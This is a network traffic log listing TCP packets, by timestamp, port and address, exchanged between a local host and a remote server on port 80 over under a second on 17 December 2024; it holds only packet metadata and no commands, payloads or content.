Dec 17, 2024 08:03:50.554323912 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.554383993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.554428101 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.555242062 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.555290937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.555386066 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.555433989 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.556277990 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.556333065 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.556356907 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.556402922 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.557286024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.557338953 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.557391882 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.557451010 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.558278084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.558326960 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.558480978 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.558532953 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.559303045 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.559369087 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.559384108 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.559480906 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.560286999 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.560340881 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.560415983 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.560475111 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.561356068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.561429024 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.561463118 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.561574936 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.562458992 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.562494040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.562520981 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.562532902 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.563328981 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.563453913 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.563476086 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.563525915 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.564452887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.564487934 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.564502001 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.564551115 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.565310001 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.565362930 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.565439939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.565526009 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.566365957 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.566415071 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.566495895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.566550970 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.567383051 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.567430019 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.567435026 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.567475080 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.568597078 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.568631887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.568655014 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.568676949 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.569622993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.569658041 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.569672108 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.569711924 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.570363998 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.570415020 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.570476055 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.570523024 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.571377993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.571428061 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.571484089 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.571532011 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.572392941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.572452068 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.572515011 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.572582960 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.573434114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.573488951 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.573492050 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.573530912 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.574410915 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.574470043 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.574543953 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.574590921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.575404882 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.575505972 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.575547934 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.576416969 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.576463938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.576527119 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.576577902 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.577431917 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.577480078 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.577534914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.577583075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.578635931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.578672886 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.578696012 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.578711033 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.579663038 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.579695940 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.579708099 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.579740047 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.580934048 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.580969095 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.580984116 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.581016064 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.581517935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.581567049 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.725506067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.725543976 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.725581884 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.725636959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.725944996 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.725995064 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.725997925 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.726068020 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.726905107 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.726954937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.726979971 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.727027893 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.728096008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.728144884 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.728188038 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.728233099 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.728969097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.729018927 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.729049921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.729172945 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.729939938 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.729990005 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.730056047 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.730106115 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.730920076 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.730973005 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.731051922 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.731120110 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.731933117 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.731981039 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.732040882 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.732089996 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.732949018 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.733043909 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.733047962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.733094931 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.733958006 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.734006882 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.734085083 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.734133959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.734998941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.735049963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.735100031 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.735150099 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.735969067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.736021042 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.736098051 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.736145020 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.736989975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.737032890 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.737095118 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.737143040 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.737982035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.738032103 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.738095045 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.738142967 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.738977909 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.739027023 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.739100933 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.739150047 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.740015030 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.740062952 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.740123987 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.740174055 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.741056919 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.741108894 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.741219044 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.741261959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.741997957 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.742050886 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.742113113 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.742167950 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.743036985 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.743134975 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.743150949 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.743200064 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.744219065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.744266033 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.744328022 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.744379044 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.745155096 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.745206118 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.745280027 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.745328903 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.746047020 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.746095896 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.746159077 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.746208906 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.747037888 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.747174978 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.747224092 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.748055935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.748105049 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.748166084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.748215914 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.749068975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.749119043 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.749212980 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.749264002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.750085115 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.750147104 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.750194073 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.750240088 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.751075029 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.751209021 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.751267910 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.752074003 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.752121925 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.752183914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.752238035 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.753109932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.753216982 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.753225088 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.753274918 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.754086018 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.754215002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.754216909 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.754342079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.755153894 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.755264044 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.755326033 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.756103039 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.756166935 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.756228924 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.756282091 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.757128000 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.757189989 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.757252932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.757302999 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.758111954 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.758176088 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.758419991 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.758481979 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.759145021 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.759205103 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.759351969 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.760169029 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.760257006 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.760260105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.760324955 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.761163950 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.761212111 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.761243105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.761282921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.762140036 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.762191057 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.762265921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.762315035 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.763140917 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.763237000 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.763293982 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.764193058 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.764245033 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.764308929 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.764352083 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.765177011 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.765229940 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.765275002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.765320063 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.766206980 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.766262054 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.766319990 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.766366959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.767216921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.767349958 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.767404079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.768286943 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.768340111 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.768342018 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.768382072 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.769197941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.769249916 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.769310951 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.769360065 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.770627022 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.770677090 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.770762920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.770812988 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.771254063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.771300077 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.771370888 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.771419048 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.772228956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.772274971 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.772280931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.772325993 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.773264885 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.773360968 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.773365021 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.773412943 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.774243116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.774292946 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.774369955 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.774421930 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.775253057 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.775310993 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.775368929 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.775513887 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.776272058 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.776320934 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.776410103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.776458025 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.777285099 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.777334929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.777399063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.777446032 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.778220892 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.778270960 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.917587996 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.917632103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.917772055 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.918023109 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.918090105 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.918139935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.918195009 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.919060946 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.919167995 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.919224977 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.920026064 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.920147896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.920170069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.920196056 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.921066999 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.921118975 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.921144009 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.921194077 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.922024965 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.922076941 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.922135115 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.922185898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.923086882 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.923139095 CET	49920	80	192.168.2.5	31.41.244.11
